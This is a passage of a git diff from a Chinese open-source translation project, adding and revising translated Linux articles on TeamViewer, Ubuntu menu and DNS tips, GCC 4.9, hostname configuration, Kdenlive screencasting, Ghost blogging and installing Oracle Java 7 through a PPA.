“成千上万的开源免费应用程序满足了从图像处理、3D动画到杀毒和会计的各类需求。”
|
||||
|
||||
“我们知道高效的个人计算对于学生和各类院校来说是十分重要的。所以，和我们的小伙伴们一起为教育行业提供低成本而高效的应用是一件另人很兴奋的事。”
|
||||
|
||||
Canonical在亚马逊的主页上发表了声明。但是如果你对于这些产品感兴趣，你应该了解他们同时在其他的商店中也能买到。
|
||||
|
||||
--------------------------------------------------------------------------------
|
||||
|
||||
via: http://news.softpedia.com/news/Canonical-and-ASUS-Have-Formed-a-Partnership-in-USA-404483.shtml
|
||||
|
||||
译者：[stduolc](https://github.com/stduolc) 校对：[wxy](https://github.com/wxy)
|
||||
|
||||
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译，[Linux中国](http://linux.cn/) 荣誉推出
|
||||
|
||||
[1]:http://insights.ubuntu.com/resources/article/asus-and-ubuntu-deliver-affordable-world-class-laptops-to-usa-education/
|
||||
@ -0,0 +1,50 @@
|
||||
每日Ubuntu小技巧 - 使用TeamViewer连接远程桌面
|
||||
================================================================================
|
||||
TeamViewer，是一款热门的远程支持和桌面共享工具，并且它的Windows版、Mac OS X版和Linux版(包含Ubuntu)已经更新到版本 9 了。TeamViewer 允许你在任何地方通过网络控制任何电脑。
|
||||
|
||||
如果你在谈一桩生意或者帮助别人解决一些与电脑相关的问题，例如杀毒，又或者远程共享你的屏幕内容，那同样，它是一款功能强大的工具，值得拥有。
|
||||
|
||||
以下是这个支持工具如何使用的例子。
|
||||
|
||||
最近，我妈妈打电话给我说她想弄清楚如何安装一个程序。当我在电话中花了几分钟尝试帮她弄那个程序，不过都失败后，我决定自己来。
|
||||
|
||||
因此我们两个人都花了几分钟下载了 TeamViewer，我连接上了她的电脑并且帮她安装了那个程序。
|
||||
|
||||
这是一个 TeamViewer 如何帮助你解决问题的例子，如果你准备使用 TeamViewer 来帮助你的顾客或者是客户的话，你可能需要购买一个授权许可来遵守公司的政策。
|
||||
|
||||
我宁愿选择 TeamViewer 而不选择其它远程支持工具的另外一个原因是它允许你直接使用，无需安装，至少在 Windows 上是这样。如果你只使用一次的话，那么你只需要运行它，而它却不会占用你的磁盘空间。
|
||||
|
||||
现在 TeamViewer 能够在几乎所有操作系统上运行，包括 Android 和 IOS。
|
||||
|
||||
Windows 用户可以 [从这里下载 TeamViewer][1]
|
||||
|
||||
Ubuntu 用户可以 [从这链接下载并运行 TeamViewer][2]
|
||||
|
||||
在 Ubuntu 轻松安装 TeamViewer，运行下面的命令来下载安装程序
|
||||
|
||||
wget http://download.teamviewer.com/download/teamviewer_linux.deb
|
||||
|
||||
对于 **64位操作系统**, 使用下面的链接.
|
||||
|
||||
wget http://download.teamviewer.com/download/teamviewer_linux_x64.deb
|
||||
|
||||
最后，运行下面的命令来安装。
|
||||
|
||||
sudo dpkg -i teamviewer_linux*.deb; sudo apt-get -f install
|
||||
|
||||
去试试吧！
|
||||
|
||||
|
||||
|
||||
如果上述的命令不能成功运行的话，那么就去 TeamViewer [下载页面来下载][2].
|
||||
|
||||
--------------------------------------------------------------------------------
|
||||
|
||||
via: http://www.liberiangeek.net/2013/12/daily-ubuntu-tips-teamviewer-9-is-available-for-download/
|
||||
|
||||
译者：[hyaocuk](https://github.com/hyaocuk) 校对：[Caroline](https://github.com/carolinewuyan)
|
||||
|
||||
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译，[Linux中国](http://linux.cn/) 荣誉推出
|
||||
|
||||
[1]:http://www.teamviewer.com/en/download/windows.aspx
|
||||
[2]:http://www.teamviewer.com/en/download/linux.aspx
|
||||
@ -1,18 +1,20 @@
|
||||
每日Ubuntu小技巧 - 更换菜单风格
|
||||
每日Ubuntu小技巧 - 使用旧式Gnome风格的菜单
|
||||
================================================================================
|
||||
每日Ubuntu小技巧 - 喜欢GNOME风格菜单?安装Class Menu Indicator吧
|
||||
|
||||
对于那些从初学者一直关注Ubuntu操作系统的人，他们看见几乎所有的Ubuntu经历的改变。发生了许多的改变，尤其是在桌面部分。从经典的GNOME桌面环境到Unity，Ubuntu已经完全地重新设计了。
|
||||
喜欢GNOME风格菜单？安装Class Menu Indicator吧。
|
||||
|
||||
对于那些新用户，他们所知道的是Unity桌面环境和仅仅只是听说过，或者见过在支持Ubuntu之前的原始的GNOME桌面环境。
|
||||
对于那些从开始就一直关注Ubuntu操作系统的人，他们看见几乎所有的Ubuntu经历的改变。发生了许多的改变，尤其是在桌面部分。从经典的GNOME桌面环境到Unity，Ubuntu已经完全地重新设计了。
|
||||
|
||||
如果你是一个老资格，想要在Ubuntu的Unity回到GNOME风格的菜单，安装Classic Menu Indicator 可以解决这个问题。这个俏皮的包被安装在顶部面板的通知区域，在Ubuntu中带回了GNOME风格菜单体验。
|
||||
对于那些新用户，他们所知道的就是Unity桌面环境，仅仅只是听说过或者见过之前Ubuntu的原始GNOME桌面环境。
|
||||
|
||||
如果你是一个老资格用户，想要在Ubuntu的Unity回到GNOME风格的菜单，安装Classic Menu Indicator 可以解决这个问题。这个有趣的包被安装在顶部面板的通知区域，在Ubuntu中带回了GNOME风格菜单体验。
|
||||
|
||||
像经典的GNOME菜单一样，它包括所有的应用和经典菜单结构。对于曾经使用过它的人们是容易导航和开启应用。对于新用户，它也是容易掌握。
|
||||
|
||||
接下来的简短指导将会告诉你如何在Ubuntu中安装这个包。
|
||||
|
||||
马上开始，在键盘上按下 **Ctrl – Alt – T** 打开终端。
|
||||
|
||||
打开完毕后，运行下列命令，加入它的PPA文件
|
||||
|
||||
sudo apt-add-repository ppa:diesch/testing
|
||||
@ -21,7 +23,8 @@
|
||||
|
||||
sudo apt-get update && sudo apt-get install classicmenu-indicator
|
||||
|
||||
安装完成后，在Unity Dash中启动。它叫Classic Menu Indicator.当你启动它的时候，它会自动的嵌入顶部面板，如下图。
|
||||
安装完成后，在Unity Dash中启动。它叫Classic Menu Indicator。当你启动它的时候，它会自动的嵌入顶部面板，如下图。
|
||||
|
||||
|
||||
|
||||
就是这样，使用并享受吧！
|
||||
@ -29,6 +32,6 @@
|
||||
|
||||
via: http://www.liberiangeek.net/2013/11/daily-ubuntu-tipslike-gnome-classic-menu-get-classic-menu-indicator/
|
||||
|
||||
译者：[Vic___](http://blog.csdn.net/Vic___) 校对：[校对者ID](https://github.com/校对者ID)
|
||||
译者：[Vic___](http://blog.csdn.net/Vic___) 校对：[wxy](https://github.com/wxy)
|
||||
|
||||
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译，[Linux中国](http://linux.cn/) 荣誉推出
|
||||
@ -1,16 +1,17 @@
|
||||
每日Ubuntu小技巧-使用OpenDNS的安全协议保护你的电脑
|
||||
每日Ubuntu小技巧-使用OpenDNS来保护你的电脑
|
||||
===
|
||||
因特网是个大熔炉。无论是好人还是坏人，都可以连接到和我们一样的网络。那些制作病毒感染人们电脑的坏蛋以及寻求保护人们的好人们全都连接到同一网络中。
|
||||
|
||||
就像人们所说的那样，因特网是过去所出现的一个最好的东东。它包含着任何人都可以获取的有价值的信息和资源，且大部分可以免费获取。一些最著名高校的人提供有免费的高质量课程，可供任何想学习的人来学习。今天，我们都可以连入因特网真是一件好事情。
|
||||
互联网是个大熔炉。无论是好人还是坏人，都可以和我们一样连接到网络。那些制作病毒感染人们电脑的坏蛋以及寻求保护人们的好人们全都连接到同一网络中。
|
||||
|
||||
就像人们所说的那样，互联网是过去所出现的一个最好的东东。它包含着任何人都可以获取的有价值的信息和资源，且大部分可以免费获取。一些最著名高校的人提供了免费的高质量课程，可供任何想学习的人来学习。今天，我们都可以连入互联网真是一件好事情。
|
||||
|
||||
但是有些事情你一定要记住，当你连入互联网时，你的电脑就成了攻击的目标。成为病毒，木马和其它程序破坏的目标。
|
||||
|
||||
正因为此，推荐连入因特网的电脑都要使用反病毒和反间谍软件来保护。在有些情况下，即使使用了这些软件也不能完全保证你的安全。再添加一个安全层总是一个好主意。
|
||||
正因为此，推荐连入互联网的电脑都要使用反病毒和反间谍软件来保护。在有些情况下，即使使用了这些软件也不能完全保证你的安全。再添加一个安全层总是一个好主意。
|
||||
|
||||
当寻找添加一个额外的安全层去保护你的机器时，使用OpenDNS的安全DNS框架可能会有帮助。因特网有许多部分组成，尽力对其每一部分都进行相应保护是保证安全的最好方法。
|
||||
|
||||
首先，你要在你的电脑上安装反病毒和反间谍软件。由于浏览因特网时允许你的电脑查询远程DNS服务器，因此使用受保护的安全的DNS服务器将是保护你电脑安全的好方法。
|
||||
首先，你要在你的电脑上安装反病毒和反间谍软件。由于浏览因特网时允许你的电脑查询远程DNS服务器，因此使用受保护的安全的DNS服务器将是保护你电脑安全的好方法。（译注：我们认为，其实在Ubuntu上使用反病毒和反间谍软件并不太必要，但是使用OpenDNS来拦截对恶意网址的访问是有必要的。另外，使用国外的DNS可能会比较慢，也许过一段时间，国内也会出现类似的服务。）
|
||||
|
||||
这是一个简明手册，告诉你如何在Ubuntu上配置OpenDNS框架以便保护你的电脑。
|
||||
|
||||
@ -30,6 +31,6 @@
|
||||
|
||||
via: http://www.liberiangeek.net/2013/11/daily-ubuntu-tipsprotect-your-computers-using-opendns-secure-dns-infrastructure/
|
||||
|
||||
译者：[Linux-pdz](https://github.com/Linux-pdz) 校对：[校对者ID](https://github.com/校对者ID)
|
||||
译者：[Linux-pdz](https://github.com/Linux-pdz) 校对：[wxy](https://github.com/wxy)
|
||||
|
||||
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译，[Linux中国](http://linux.cn/) 荣誉推出
|
||||
@ -0,0 +1,24 @@
|
||||
通俗易懂的设计故事更能激发你的创意
|
||||
================================================================================
|
||||
|
||||
伴随着产品品质、性能稳定和灵活性的提高，Ubuntu渐渐吸引了一批富有经验的设计师，这些设计师覆盖了越来越多的Ubuntu角落，其中就包括操作系统界面美化、优化行为、以及更为贴心的交互实现等等。
|
||||
|
||||
Faenza和Faience的发明者， **Ubuntu设计师 Matthieu "Tiheum" James**，发布了一篇富有见地的有趣文章，这篇文章围绕着几个图标的发明展开，使得对此感兴趣的用户和第三方开发人员能够直观地了解一个专业的设计师是怎样创作一个图标的。
|
||||
|
||||
这里提到的图标专为Juju设计，在最近的OpenStack峰会香港站上，在与Ubuntu展台的参观者们见面的时候发布，这些图标采用了一个有趣的特性，“为了向参观Ubuntu展台的观众说明Juju可以做什么，**我们想**用更特殊的一些东西来代替普通的Juju图标。我们决定使用这样一个创意，将不同的配料与酱汁与冰淇淋自由搭配创作出图标，这样用户就能理解，他们能够使用同样的方法，自由搭配建立Juju中的服务。
|
||||
|
||||
这篇文章介绍了在真实的图标创作过程中的真实心路历程，使读者沉浸在一个学习但却易于掌握的旅程中，在旅程之中包括寻找好的概念、最初的草图、为图标添加立体感、采用不同的设计方法、选择图标背景、精炼图标等等。总之，这是一个通俗易懂的设计故事。
|
||||
|
||||
|
||||
|
||||
你可以在这里享受全文[http://design.canonical.com/2013/11/juju-ice-cream-icon-design/][1]。
|
||||
|
||||
--------------------------------------------------------------------------------
|
||||
|
||||
via: http://iloveubuntu.net/deepen-your-creative-knowledge-explanatory-user-friendly-icon-creation-design-story
|
||||
|
||||
译者：[crowner](https://github.com/crowner) 校对：[Mr小眼儿](http://blog.csdn.net/tinyeyeser)
|
||||
|
||||
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译，[Linux中国](http://linux.cn/) 荣誉推出
|
||||
|
||||
[1]:http://design.canonical.com/2013/11/juju-ice-cream-icon-design/
|
||||
23
published/GCC 4.9 Is Now In Bug-Fixes-Only Stage 3 Mode.md
Normal file
23
published/GCC 4.9 Is Now In Bug-Fixes-Only Stage 3 Mode.md
Normal file
@ -0,0 +1,23 @@
|
||||
GCC 4.9现在处于修复BUG的第三阶段
|
||||
================================================================================
|
||||
|
||||
拥有很多[新功能][2]的[GCC 4.9][1]将定于2014年上半年发布。这个GCC的基础代码将不会增加新的功能，目前将只修改大的BUG。
|
||||
|
||||
Richard Biener宣称代码主干目前处于第三阶段，因此在之后的八个月这些功能将融入到4.9版本，除非有发布主管认可的特例发生，不然不会增加新的功能了。第三阶段只做普通BUG的修复工作，将在2个月内完成，而后到达只编写文档和回归测试的第四阶段。
|
||||
|
||||
目前GCC4.9有63个P1 回归测试（最严重的回归测试）其次是136个P2回归测试，14个P3回归测试，88个P4回归测试 以及60个P5回归测试。直到P1阶段的63个回归测试完成，GCC4.9才接近发布。GCC 4.9.0发布版将可能在2014第二季度左右到来！
|
||||
|
||||
GCC 4.9.0状态报告可以在[GCC mailing list][3]中被找到。GCC 4.9将会是一个非常棒的更新，并会挑战下个月发布的[LLVM3.4][4]。
|
||||
|
||||
--------------------------------------------------------------------------------
|
||||
|
||||
via: http://www.phoronix.com/scan.php?page=news_item&px=MTUyMjk
|
||||
|
||||
译者：[Vic___](http://blog.csdn.net/Vic___) 校对：[wxy](https://github.com/wxy)
|
||||
|
||||
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译，[Linux中国](http://linux.cn/) 荣誉推出
|
||||
|
||||
[1]:http://www.phoronix.com/scan.php?page=search&q=GCC+4.9
|
||||
[2]:http://www.phoronix.com/scan.php?page=news_item&px=MTUxNzQ
|
||||
[3]:http://gcc.gnu.org/ml/gcc/2013-11/msg00435.html
|
||||
[4]:http://www.phoronix.com/scan.php?page=search&q=LLVM+3.4
|
||||
145
published/How To Display And Set Hostname in Linux.md
Normal file
145
published/How To Display And Set Hostname in Linux.md
Normal file
@ -0,0 +1,145 @@
|
||||
如何在Linux中显示和设置主机名
|
||||
================================================================================
|
||||
|
||||
|
||||
随着连接到网络的计算机数量越来越多，每一台计算机都需要有一个属性来区别于其它计算机。和现实世界中的人一样，计算机也有一个叫做hostname（主机名）的属性。
|
||||
|
||||
### 什么是hostname ###
|
||||
|
||||
从它的操作手册来看，hostname是用来显示系统的DNS名字以及为了显示和设置它的主机名或者NIS域名名字。所以hostname依赖于DNS（Domain Name System域名系统）或者NIS（Network Information System网络信息系统）。
|
||||
|
||||
|
||||
### 怎么显示hostname ###
|
||||
|
||||
hostname是为每一个linux发行版的预安装命令。通过在控制台输入hostname，可以显示你的机器的hostname。这里有一个有个简单的命令及其输出。
|
||||
|
||||
|
||||
$ hostname
|
||||
ubuntu
|
||||
|
||||
上面的命令将会告诉你，计算机的名字是**ubuntu** 。
|
||||
|
||||
|
||||
### 如何设置hostname ###
|
||||
|
||||
Hostname是在你第一次安装Linux的时候设置。其中有一个步骤Linux会让你输入主机名称的信息。不过，如果你愿意的话，你在之后设置也可以。
|
||||
|
||||
设置你的hostname，你可以使用下面的命令：
|
||||
|
||||
# hostname dev-machine
|
||||
|
||||
$ hostname
|
||||
dev-machine
|
||||
|
||||
你**需要使用root权限**，或者等同root的权限来设置/修改你计算机的主机名。“#”标识证明你是root用户。上述命令把你的计算机主机名设置成为**dev-machine**。如果你没有收到任何报错信息，那么你的hostname已经改变了。再一次使用hostname命令检查，看看结果。
|
||||
|
||||
使用hostname命令设置你的hostname **不是永久的** 。当你重启你的计算机，你的设定将会失效。 **为了永久改变** ，你必须手动修改hostname配置文件。
|
||||
|
||||
**Debian / Ubuntu系的Linux**
|
||||
|
||||
你可以在 **/etc/hostname** 和 **/etc/hosts** 文件夹中找到这个文件
|
||||
|
||||
下面是每一个文件的内容
|
||||
|
||||
**/etc/hostname**
|
||||
|
||||
# vi /etc/hostname
|
||||
dev-machine
|
||||
|
||||
**/etc/hosts**
|
||||
|
||||
# vi /etc/hosts
|
||||
127.0.0.1 localhost
|
||||
127.0.0.1 dev-machine
|
||||
|
||||
你将会发现不用重启你的linux它就即刻生效。
|
||||
|
||||
**RedHat / CentOS系的Linux**
|
||||
|
||||
你可以在 **/etc/hosts** 和 **/etc/sysconfig/networks** 文件夹中找到这个文件。
|
||||
|
||||
下面是每一个文件的内容
|
||||
|
||||
**/etc/hosts**
|
||||
|
||||
127.0.0.1 localhost.localdomain localhost dev-machine
|
||||
::localhost 127.0.0.1
|
||||
|
||||
**/etc/sysconfig/network**
|
||||
|
||||
NETWORKING=yes
|
||||
NETWORKING_IPV6=no
|
||||
HOSTNAME=dev-machine
|
||||
|
||||
### 怎么显示DNS域名 ###
|
||||
|
||||
来自上面的hostname的定义，hostname也可以显示你的Linux的DNS名字。如果你的hostname命令会显示你的hostname，那么dnsdomainname命令也就会显示你的域名。来看看这个简单的例子。
|
||||
|
||||
$ dnsdomainname
|
||||
bris.co.id
|
||||
|
||||
在本篇文章，dnsdomainname命令的结果是 **bris.co.id**。
|
||||
|
||||
如果你看见结果是 (**none**)，那么你的机器**没有配置FQDN（Fully Qualified Domain Name 完全符合标准的域名）** 。dnsdomainname命令摘取来自**/etc/hosts**文件的信息。你应该配置它为FQDN格式。下面是一个简单的例子：
|
||||
|
||||
**/etc/hosts**
|
||||
|
||||
127.0.0.1 localhost.localdomain localhost dev-machine
|
||||
::localhost 127.0.0.1
|
||||
192.168.0.104 dev-machine.bris.co.id dev-machine
|
||||
|
||||
为了显示更多的细节，你可以使用参数**-v**
|
||||
|
||||
$ dnsdomainname -v
|
||||
gethostname()=’dev-machine.bris.co.id’
|
||||
Resolving ‘dev-machine.bris.co.id’ …
|
||||
Result: h_name=’dev-machine.bris.co.id’
|
||||
Result: h_aliases=’dev-machine’
|
||||
Result: h_addr_list=’192.168.0.104’
|
||||
|
||||
### 如何显示hostname的更多细节信息###
|
||||
|
||||
Hostname命令可以使用多个参数和一些别名，比如dnsdomainname命令就是它的一个别名。这些参数在每日操作中是有用的。下面这些命令的结果是基于**/etc/hosts**的上述配置。
|
||||
|
||||
**显示IP地址**
|
||||
|
||||
$ hostname -i
|
||||
192.168.0.104
|
||||
|
||||
**显示域名**
|
||||
|
||||
$ hostname -d
|
||||
bris.co.id
|
||||
|
||||
**显示短主机名**
|
||||
$ hostname -s
|
||||
dev-machine
|
||||
|
||||
*这个命令将会产生与只输入hostname同样的结果*
|
||||
|
||||
**显示FQDN格式**
|
||||
|
||||
$ hostname -f
|
||||
dev-machine.bris.co.id
|
||||
|
||||
**显示细节信息**
|
||||
|
||||
所有的参数包括上述信息，都可以通过使用参数**-v** 和 **-d** 来概括。让我们来看一个例子。
|
||||
|
||||
$ hostname -v -d
|
||||
gethostname()=’dev-machine.bris.co.id’
|
||||
Resolving ‘dev-machine.bris.co.id’ …
|
||||
Result: h_name=’dev-machine.bris.co.id’
|
||||
Result: h_aliases=’dev-machine’
|
||||
Result: h_addr_list=’192.168.0.104’
|
||||
bris.co.id
|
||||
|
||||
觉得熟悉吗？没错，运行结果与上面提到的 **dnsdomainname -v** 命令式相同的。
|
||||
|
||||
--------------------------------------------------------------------------------
|
||||
|
||||
via: http://linoxide.com/linux-command/display-set-hostname-linux/
|
||||
|
||||
译者：[Vic___](http://blog.csdn.net/Vic___) 校对：[Caroline](https://github.com/carolinewuyan)
|
||||
|
||||
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译，[Linux中国](http://linux.cn/) 荣誉推出
|
||||
@ -0,0 +1,98 @@
|
||||
如何在Linux上制作一个屏幕录像视频教程
|
||||
================================================================================
|
||||
一图胜千言，一个精心设计的指导视频更是能给你带来良好体验。Linux上有你需要的制作有用且高质量教学视频的所有工具。我们将用强大的kdenlive视频编辑器和Audacity音频录制器和编辑器制作一个简单的屏幕录像，并学习如何在YouTube上分享精彩的屏幕录像。
|
||||
|
||||
一台安装了Kdenlive和Audacit软件的Linux系统PC，一个质量好的麦克风或耳机，和一个YouTube的帐号就是你需要准备的全部。（是的，除了Youtube还有很多其他的免费视频共享服务，你也可以使用它们。）YouTube属于Google，Google想让你与全世界共享任何人和事。如果这不是你想做的，请说no。
|
||||
|
||||
我们的工作流程是这样的：
|
||||
|
||||
- 用Kdenlive录制屏幕录像
|
||||
- 用Audacity录制音轨
|
||||
- 添加音轨到Kdenlive
|
||||
- 上传到YouTube
|
||||
- 全世界看你的视频，好开心
|
||||
|
||||
kdenlive支持最流行的数字视频格式，包括AVI，MP4，H.264，和MOV。它支持的图像文件包括GIF，PNG，SVG和TIFF；支持的音频文件格式，包括非压缩的PCM，Vorbis，WAV，MP3和 AC3。你甚至可以阅读和编辑Flash文件。总之，它可以处理很多东西。
|
||||
|
||||
你的配音与你的视频一样重要。请一定要重视你的音频。使音频保持干净和简单，去除杂乱的题外话、方言，并将背景噪声降到最低点。我喜欢用一个质量好的耳麦做讲述，这样你不必担心话筒位置，你可以反复听你自己的讲述而不会影响到你身边的人。
|
||||
|
||||
Kdenlive的文档已过期，它会告诉你制作屏幕录像需要RecordMyDesktop软件。我用的是kdenlive 0.9.4，其实不需要Recordmydesktop。
|
||||
|
||||
|
||||
|
||||
*图 1：默认配置*
|
||||
|
||||
### 制作屏幕录像 ###
|
||||
|
||||
首次安装kdenlive,第一次运行时会启动配置向导。不必在意默认设置，因为你随时都可以改变它们。
|
||||
|
||||
这是我的屏幕录像的设置：高清720p每秒30帧，1280x720的屏幕尺寸。如何知道该使用什么设置项？ [Google上有一些说明][1]。设置这些值可到Settings > Configure Kdenlive > Project Defaults > Default Profile > HD 720p 30fps（图1）。
|
||||
|
||||
设置捕捉屏幕的大小到 Settings > Configure Kdenlive > Capture > Screen Grab（图2）。虽然你也可以选择捕捉全屏幕，但最好还是坚持用YouTube规定的尺寸。因为如果使用的尺寸与YouTube规定的不一样，则YouTube将增加黑边来达到合适的尺寸。热切的观众会更加希望看到一个充满生动的内容的屏幕，而不是黑边。
|
||||
|
||||
|
||||
|
||||
*图 2：屏幕录像的屏幕大小*
|
||||
|
||||
默认的YouTube视频播放器的大小是640x360标清320p，又小又模糊。播放器有小屏，大屏，全屏，和多个质量等级的控制。这些设置只有你的观众会使用，640x360标清320p看起来真的不咋样，但郁闷的是你无法改变这个缺陷。尽管如此，你仍然想制作高质量视频的话，你可以添加一些文字来提醒观众尝试更好的配置。
|
||||
|
||||
### 保存你的项目 ###
|
||||
|
||||
在你做任何其他事情之前，点击 File->Save as 保存您的项目，并记住周期性地保存它。
|
||||
|
||||
### 抓取屏幕 ###
|
||||
|
||||
抓屏小菜一碟。到Record Monitor，选择Screen Grab，然后点击Record按钮。屏幕上将打开一个带虚线的框，框里面的所有内容都将被录制下来。因此，你需要做的所有事就是移动框并调整框的大小到你想要l录制的范围。完成后点击停止按钮（图3）。
|
||||
|
||||
|
||||
|
||||
|
||||
*图 3：屏幕抓取*
|
||||
|
||||
单击Stop，自动打开Clip Monitor，你可以预览你的裁剪效果。如果你觉得不错，把它从Project Tree中拖到Video 1轨道。现在你可以编辑你的视频了。总会有需要你修剪的地方；一个快速的方法是，你在Project Monitor里播放你的剪辑片，直到播放到你需要移除部分的末尾。然后暂停，然后按下Shift+r。你的剪辑片将会在你按下停止的时间轴上的点上被切割为两个剪辑。点击你要删除的片断，按下Delete键，噗！它就消失了。
|
||||
|
||||
对于剩下的剪辑片断，可能你想要从时间轴上的某一点开始播放，也可能你想要加入一些好的变换。比如一些简单的渐变就相当不错；右键点击你的剪辑片断，点击Add Effect > Fade > Fade from black 和 Fade to black，然后Kdenlive将自动将这两个效果放到开头和末尾。
|
||||
|
||||
### 添加配音 ###
|
||||
|
||||
请参阅[Whirlwind Intro to Audacity on Linux: From Recording to CD in One Lesson][2]来学习使用Audacity录音的基础操作。以16bit的wav格式导出你的音频文件，然后通过Project > Add Clip导入到Kdenlive。然后将你的新音频剪辑拖到Audio tracks。一个简单的制作视频讲述的方式是边播视频边说。运气好的话，你不需要做很多的清理工作，你的讲述就会与视频同步。
|
||||
|
||||
|
||||
|
||||
*图 4：用Shift+r切割音轨，然后将其中一个剪辑片从切割点拖离，创建一个静音间隙*
|
||||
|
||||
如果你的语速比视频快,你可以在音轨中添加空档时间.很简单,用Shift+r切割音轨，然后将其中一个剪辑片从切割点拖离，创建一个静音间隙。（图4）。
|
||||
|
||||
### Rendering Your Project ### 渲染你的项目
|
||||
|
||||
当你满意自己的编辑，并准备导出你的最终格式时，点击Render按钮。这需要几分钟的时间，取决于你的电脑速度和项目大小。已有为网站预先设定的值，如果你选择File Rendering， 你可以调整你的设置（图5）。我用File Rendering中的H.264，Video比特率12000， Audio比特率384取得了不错的效果。H.264是一种超压缩格式，使用这种格式发布的文件小但质量好。
|
||||
|
||||
|
||||
|
||||
|
||||
*图 5：选择文件渲染，调整你的网页设置*
|
||||
|
||||
### 发布到YouTube ###
|
||||
|
||||
现在你可以在VLC或MPlayer或你喜欢的任何播放器中播放你的视频了，如果它看起来很好，那么你就可以将它上传到你的YouTube帐户里了。YouTube是典型的Google风格，信息中心和视频管理器会混乱又复杂，不过请坚持多研究下，你会理出头绪的。在你做任何事情之前，你必须对你的账户做资格认证，也就是通过短信和邮件获得一个验证码。通过输入验证码证明你不是一个网络爬虫后，你就能上传你的视频了。
|
||||
|
||||
你可以上传你的视频，然后标记它们为私人可见或所有人可见。Google有一些编辑工具，你可能会喜欢，比如自动纠错和配背景音乐。不过以我的拙见，几乎没有人是这样子做背景音乐的，所以这种工具只会令人讨厌。不过你有可能是第一个正确使用这个工具的人哦。
|
||||
|
||||
最有用的编辑工具是自动字幕。我推荐在你所有的视频上使用此功能，不光是为了那些听觉障碍的人，也为了那些需要保持低音量观看的人，确保所有的人都明白你在说什么。字幕工具也能创建副本。
|
||||
|
||||
另一个有用的工具是注释工具，它支持对话气泡，标题，聚光灯和标签。当然，在Kdenlive中，这些你都可以做到，所以都可以尝试一下。
|
||||
|
||||
好吧，到这里就结束了，但似乎我们刚刚开始。请分享你的视频，并在评论中添加Youtube的小建议和技巧。如果可以的话，请在[video.linux.com][3]分享你的新的视频教程，并参加100个Linux教程比赛。
|
||||
|
||||
|
||||
--------------------------------------------------------------------------------
|
||||
|
||||
来源于: http://www.linux.com/learn/tutorials/745745-how-to-make-a-youtube-instructional-screencast-video-on-linux/
|
||||
|
||||
译者：[coolpigs](https://github.com/coolpigs) 校对：[jasminepeng](https://github.com/jasminepeng)
|
||||
|
||||
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译，[Linux中国](http://linux.cn/) 荣誉推出
|
||||
|
||||
[1]:https://support.google.com/youtube/answer/1722171?hl=en&ref_topic=2888648
|
||||
[2]:http://www.linux.com/learn/tutorials/422799-whirlwind-intro-to-audacity-on-linux
|
||||
[3]:http://video.linux.com/100-linux-tutorials
|
||||
@ -1,6 +1,6 @@
|
||||
如何在Linux平台上安装Ghost博客平台
|
||||
===
|
||||
[Ghost][1]是一个相对较新的博客发布平台，它开始于众筹平台kickstarter上一个[£25,000英镑的众筹项目][2]。尽管WordPress依然是网上主流的博客工具，但它现在已然是一个拥有众多第三方开发功能的通用内容管理平台，发展到现在已经逐渐变得笨重、复杂以至于难以维护。但于此同时，仅仅诞生才几个月的Ghost坚持以用户为中心，打造精雕细琢的用户界面，承诺要做一个纯粹的博客平台。
|
||||
[Ghost][1]是一个相对较新的博客发布平台，它开始于众筹平台kickstarter上一个[£25,000英镑的众筹项目][2]。尽管WordPress依然是网上主流的博客工具，但它现在已然是一个拥有众多第三方开发功能的通用内容管理平台，发展到现在已经逐渐变得笨重、复杂以至于难以维护。但与此同时，仅仅诞生才几个月的Ghost坚持以用户为中心，打造精雕细琢的用户界面，承诺要做一个纯粹的博客平台。
|
||||
|
||||
在本教程中，我将描述**如何在Linux中设置Ghost博客平台**。
|
||||
|
||||
@ -35,7 +35,7 @@ Ghost成功运行后，终端中会有以下输出信息，告诉你Ghost正运
|
||||
|
||||
[][4]
|
||||
|
||||
在你的浏览器中键入 http://<YOUR_IP>:2368，身份校验后你就会看到Ghost的初始页面。
|
||||
在你本机的浏览器中键入 http://<YOUR_IP>:2368，身份校验后你就会看到Ghost的初始页面。
|
||||
|
||||
[][5]
|
||||
|
||||
@ -57,10 +57,12 @@ Ghost成功运行后，终端中会有以下输出信息，告诉你Ghost正运
|
||||
你也可以检查一下forever活动进程列表：
|
||||
|
||||
$ sudo forever list
|
||||
|
||||
-
|
||||
|
||||
> info: Forever processes running
|
||||
> data: uid command script forever pid logfile uptime
|
||||
> data: [0] cH0O /usr/bin/nodejs index.js 15355 15357 /home/dev/.forever/cH0O.log 0:0:0:37.741
|
||||
info: Forever processes running
|
||||
data: uid command script forever pid logfile uptime
|
||||
data: [0] cH0O /usr/bin/nodejs index.js 15355 15357 /home/dev/.forever/cH0O.log 0:0:0:37.741
|
||||
|
||||
假如你看到以上信息，意味着Ghost已经成功以后台进程运行咯。
|
||||
|
||||
@ -0,0 +1,89 @@
|
||||
使用PPA在Elementary OS 'Luna'上安装Oracle Java 7
|
||||
================================================================================
|
||||
|
||||
**问题**: 我该如何在 Elemetary OS Luna 上安装Oracle Java 7？
|
||||
|
||||
**回答**: 在 Elementary OS Luna 安装 Java 7 的步骤如下:
|
||||
由于Elementary OS是基于Ubuntu，所以我们允许使用具有多种Java包的**WEPUD8 PPA**。
|
||||
|
||||
1. 打开终端。
|
||||
|
||||
2. 运行以下指令添加Java的PPA到你的软件仓:
|
||||
|
||||
$ sudo add-apt-repository ppa:webupd8team/java
|
||||
|
||||
You are about to add the following PPA to your system:
|
||||
Oracle Java (JDK) Installer (automatically downloads and installs Oracle JDK6 / JDK7 / JDK8). There are no actual Java files in this PPA. More info: http://www.webupd8.org/2012/01/install-oracle-java-jdk-7-in-ubuntu-via.html
|
||||
Debian installation instructions: http://www.webupd8.org/2012/06/how-to-install-oracle-java-7-in-debian.html
|
||||
More info: https://launchpad.net/~webupd8team/+archive/java
|
||||
Press [ENTER] to continue or ctrl-c to cancel adding it
|
||||
|
||||
3. 按回车继续
|
||||
|
||||
gpg: keyring `/tmp/tmpB5WwDG/secring.gpg' created
|
||||
gpg: keyring `/tmp/tmpB5WwDG/pubring.gpg' created
|
||||
gpg: requesting key EEA14886 from hkp server keyserver.ubuntu.com
|
||||
